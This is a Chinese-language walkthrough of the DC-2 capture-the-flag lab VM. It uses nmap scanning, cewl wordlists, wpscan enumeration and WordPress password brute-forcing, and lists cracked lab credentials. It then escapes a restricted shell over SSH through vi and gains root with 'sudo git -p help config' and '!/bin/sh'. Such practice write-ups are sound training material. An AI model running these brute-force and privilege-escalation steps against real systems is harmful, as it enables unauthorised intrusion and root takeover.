环境搭建
DC-2靶机搭建
DC-2镜像下载地址
教程大家自行C一下,我不多说了。
一.信息收集
寻找靶机的IP地址
arp-scan -l
DC-2的IP地址:192.168.178.227
扫描靶机开放端口
nmap -sT -p- --min-rate 2000 192.168.178.227
可以看到有80和7744端口开放
扫描靶机开放端口的服务
nmap -sV -T4 -O -p 80,7744 192.168.178.227
80是http服务,7744是ssh端口服务
二. 漏洞发现
访问网页
先修改hosts文件(Windows需要administrator用户权限)
C:/windows/system32/drivers/etc/hosts文件绑定IP地址和域名
访问http://dc-2
使用drib工具扫描网页目录
可以看到wp-admin目录,反问试试
访问成功
破解一下试试
先修改kali中的hosts文件,绑定域名和IP(和windows一样)
使用cewl http://dc-2 -w pwd.txt 把网页上的英文字母下载下来生成pwd.txt密码字典
cewl http://dc-2 -w pwd.txt
扫描登录用户
wpscan --url dc-2 --enumerate
发现出现三个用户,把他们写入用户字典里面
尝试使用wordpress爆破
wpscan --url http://dc-2/ -U user.txt -P pwd.txt
密码到手
jerry;adipiscing
tom;parturient
再网页登陆界面登陆jerry的账号密码
发现了flag2
三.漏洞利用
tom用户登录(信息收集的时候我们扫描到DC-2的ssh7744端口开放)
ssh tom@192.168.178.227 -p 7744
登陆成功
但是发现不能使用任何命令,发现权限很低。
后来发现是靶机DC-2的环境变量有问题。使用export查看变量 受限shell是LinuxShell限制一些bash shell中的功能
export PATH=$PATH:/bin/
可以使用用vi编辑器穿件shell文件
用vi的末行模式下输入 ——> :set shell=/bin/bash
然后应用这个shell ——> : shell
四.提权
尝试sudo提权、SUID提权、/etc/passwd 、/etc/crontab、隐藏文件提权都不行。
所以现在尝试切换到jerry用户。
su jerry
flag提示git 提权
sudo git -p help config
!/bin/sh
使用whoami查看权限
然后进入根目录查找flag
cd /
find / -name *flag*
打开找到的文件
cat /root/final*
拿下!